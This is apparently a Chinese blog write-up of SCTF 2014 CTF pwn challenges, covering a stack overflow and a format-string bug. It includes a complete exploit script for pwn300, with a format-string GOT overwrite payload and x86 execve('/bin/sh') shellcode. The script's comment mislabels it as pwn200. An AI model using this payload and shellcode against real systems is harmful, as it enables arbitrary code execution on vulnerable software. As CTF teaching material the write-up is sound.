因为最近要去做ctf比赛的这一块所以就针对性的分析一下近些年的各大比赛的PWN题目。主防项目目前先搁置起来了,等比赛打完再去搞吧。

这次分析的是去年的SCTF的赛题,是我的学长们出的题,个人感觉还是很符合套路的:一道栈溢出、一道格式化字符串、一道堆溢出。

pwn200

一个栈溢出。

题目给出了libc。保护只有nx。

拿到题后的基本思路就是leak出got表中函数的地址,然后拿libc算偏移算出system的地址。然后用这个地址去覆盖一个函数的got表。

pwn300

一个明显的格式化字符串漏洞,格式化字符串本身是在bss段中的,但是又复制到局部数组里了,想必是出题人为了降低难度。这个也给出了libc。但是没有办法像栈溢出那样leak出got表的内容。虽然可以向任意地址写但是却不知道改写入的地址是多少。第二个问题就是参数,要想执行system就得构造/bin/sh这个参数。这个参数怎么搞?

就是说有两个问题摆了出来

1.如何求system的地址,虽然有libc可以算偏移,但是没法leak got表啊
2.如何布置参数,可以写在数据段里,但是怎么作为参数?

解决方法是不使用ret2libc的方法,而是在固定地址的bss里放置shellcode,再把got表指过去。

具体的就是利用了接受留言内容的那个bss缓冲区了。

这样就解决了上面那两个问题

 #SCTF2014 pwn200
#exp by Ox9A82
from zio import *
import time
io=zio('./pwn300') chuan1='\x20\x91\x04\x08%37248c%7$hn\n'
shellcode="\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f" \
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0" \
"\x0b\xcd\x80\n" io.read_until('choice:')
io.write('2\n')
io.read_until('message')
io.write(chuan1)
io.read_until('choice:')
io.write('3\n') io.read_until('choice:')
io.write('2\n')
io.read_until('message')
io.write(shellcode)
io.read_until('choice:')
io.write('4\n') io.interact()

SCTF 2014 pwn题目分析的更多相关文章

  1. SCTF 2015 pwn试题分析

    Re1 是一个简单的字符串加密.程序使用了多个线程,然后进行同步.等加密线程加密好了之后才会启动验证线程.这个题比较坑的是IDA F5出来的结果不对,不知道是不是混淆机制. 刚开始看的是F5后的伪代码 ...

  2. 解决pwn题目加载指定libc版本的问题

    因为本地和远程的libc版本不同,pwn题目调试起来会有影响,所以来记录一下用patchelf和glibc-all-in-one来解决这个问题过程. 下载工具 下载patchelfgit clone ...

  3. BIT 常态化在线CTF系统 pwn题目

    偶然得到这个平台,发现是BIT的CTF平台,应该是平时的阶段性的训练题目.看了看题,其他方向的题目感觉都是入门题,但是pwn题目,发现还是比入门题难一点点的,来记录一下. pwn1 栈上任意位置的读写 ...

  4. SCTF 2014 PWN400 分析

    之前没有分析PWN400,现在再开一篇文章分析一下. 这个日志是我做题的一个笔记,就是说我做一步题就记录一下是实时的.所以说可能会有错误之类的. 首先程序是经典的笔记本程序,基本上一看到这种笔记本就知 ...

  5. ZCTF2015 pwn试题分析

    ZCTF的pwn赛题分析, PWN100 这道题与SCTF的pwn100玩法是一样的,区别在于这个要过前面的几个限制条件.不能触发exit(0).否则就不能实现溢出了. 依然是触发canary来lea ...

  6. Uboot 2014.07 makefile分析 - 其他Cortex系列

    uboot的官网可以通过谷歌搜索得到,显示结果第一个链接就是. 官网:: http://www.denx.de/wiki/U-Boot ftp下载: ftp://ftp.denx.de/pub/u-b ...

  7. 路由器漏洞复现分析第三弹:DVRF INTRO题目分析

    这个项目的目的是来帮助人们学习X86_64之外其他架构环境,同时还帮助人们探索路由器固件里面的奥秘. 本文通过练习DVRF 中INTRO 部分的题目来学习下MIPS 结构下的各种内存攻击. DVRF: ...

  8. 二分查找总结及部分Lintcode题目分析 2

    Search in a big sorted array,这个比之前的二分法模板多了一个很不同的特性,就是无法知道一个重要的条件end值,也是题目中强调的重点 The array is so big ...

  9. 【算法】题目分析:Aggressive Cow (POJ 2456)

    题目信息 作者:不详 链接:http://poj.org/problem?id=2456 来源:PKU JudgeOnline Aggressive cows[1] Time Limit: 1000M ...

随机推荐

  1. [Oracle整理]ORA-12705(字符集问题)

    [Oracle整理]ORA-12705(字符集问题)   2017年5月11日 18:11 [Oracle整理]ORA-12705(字符集问题) 说明:本内容是工作用到的知识点整理,来自工作中和网络. ...

  2. Rearrangement inequality

    摘抄自:  https://en.wikipedia.org/wiki/Rearrangement_inequality#Proof In mathematics, the rearrangement ...

  3. 驱动之NandFlash的介绍与应用20170209

    本文主要介绍的是NAND FLASH的介绍与应用,直接看个人笔记即可:

  4. PostgreSQL 传统 hash 分区方法和性能

    背景 除了传统的基于trigger和rule的分区,PostgreSQL 10开始已经内置了分区功能(目前仅支持list和range),使用pg_pathman则支持hash分区. 从性能角度,目前最 ...

  5. HashCode与Equals回顾

    HashSet和HashMap一直都是JDK中最常用的两个类,HashSet要求不能存储相同的对象,HashMap要求不能存储相同的键. 那么Java运行时环境是如何判断HashSet中相同对象.Ha ...

  6. spoj 694 705 不相同的子串的个数

    http://www.spoj.com/problems/SUBST1/ SUBST1 - New Distinct Substrings #suffix-array-8 Given a string ...

  7. Kubernetes Job配置

    我们知道使用kubernetes的rc或者rs创建的pod,kubernetes会实时监控其健康状态,如果发现pod挂掉以后,会自动启动一个新的,让pod的数量始终保持在指定的replicas上.那么 ...

  8. Python基础之面向对象(初级篇)

    概述 面向过程:根据业务逻辑从上到下写垒代码 函数式:将某功能代码封装到函数中,日后便无需重复编写,仅调用函数即可 面向对象:对函数进行分类和封装,让开发“更快更好更强...” 面向过程编程最易被初学 ...

  9. swift4.0中http连接(据于xcode9.3 URLSession)

    NSURLSession是NSURLConnection的替代者,在2013年苹果全球开发者大会上(WWDC2013)随iOS7一起发布的,是对NSURLConnection进行了重构优化后的新的网络 ...

  10. jquery validate submitHandler 提交导致死循环

    dom对像的提交form.submit();和jquery对像的提交$('').submit();功能上是没有什么区别的.但是如果用了jquery validate插件,提交时这二个就区别大了.$(' ...